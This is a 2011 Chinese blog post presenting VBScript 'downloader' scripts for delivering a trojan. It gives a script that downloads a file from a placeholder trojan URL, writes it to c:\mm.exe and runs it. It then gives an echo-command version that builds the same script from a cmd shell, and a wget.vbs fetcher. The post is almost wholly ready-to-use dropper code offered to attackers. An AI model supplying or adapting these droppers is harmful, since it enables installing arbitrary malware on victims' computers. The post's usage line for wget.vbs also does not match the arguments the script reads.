标题：Vbs下载者版本
出处：大漠荒颜
时间：Mon, 10 Jan 2011 03:01:12 +0000
作者：北纬36度
地址：http://www.736202.com/read.php/571.htm

内容：
VBS版本下载者 
Set Post = CreateObject("Msxml2.XMLHTTP")
Set Shell = CreateObject("Wscript.Shell")
Post.Open "GET","修改成你木马的地址",0
Post.Send()
Set aGet = CreateObject("ADODB.Stream")
aGet.Mode = 3
aGet.Type = 1
aGet.Open() 
aGet.Write(Post.responseBody)
aGet.SaveToFile "c:\mm.exe",2
wscript.sleep 1000 
Shell.Run ("c:\mm.exe") '延迟过后执行下载文件

CMD下执行的版本
echo Set Post = CreateObject("Msxml2.XMLHTTP") >>xz.vbs
echo Set Shell = CreateObject("Wscript.Shell") >>xz.vbs
echo Post.Open "GET","修改成你木马的地址",0 >>xz.vbs
echo Post.Send() >>xz.vbs
echo Set aGet = CreateObject("ADODB.Stream") >>xz.vbs
echo aGet.Mode = 3 >>xz.vbs
echo aGet.Type = 1 >>xz.vbs
echo aGet.Open() >>xz.vbs
echo aGet.Write(Post.responseBody) >>xz.vbs
echo aGet.SaveToFile "c:\mm.exe",2 >>xz.vbs
echo wscript.sleep 1000 >>xz.vbs
echo Shell.Run ("c:\mm.exe") >>xz.vbs

wget.vbs
使用方法：cscript wget.vbs 你木马的地址

on error resume next
iLocal=LCase(Wscript.Arguments(1))
iRemote=LCase(Wscript.Arguments(0))
iUser=LCase(Wscript.Arguments(2))
iPass=LCase(Wscript.Arguments(3))
set xPost=CreateObject("Microsoft.XMLHTTP")
if iUser="" and iPass="" then
xPost.Open "GET",iRemote,0
else
xPost.Open "GET",iRemote,0,iUser,iPass
end if
xPost.Send()
set sGet=CreateObject("ADODB.Stream")
sGet.Mode=3
sGet.Type=1
sGet.Open()
sGet.Write xPost.ResponseBody
sGet.SaveToFile iLocal,2


Generated by Bo-blog 2.1.1 Release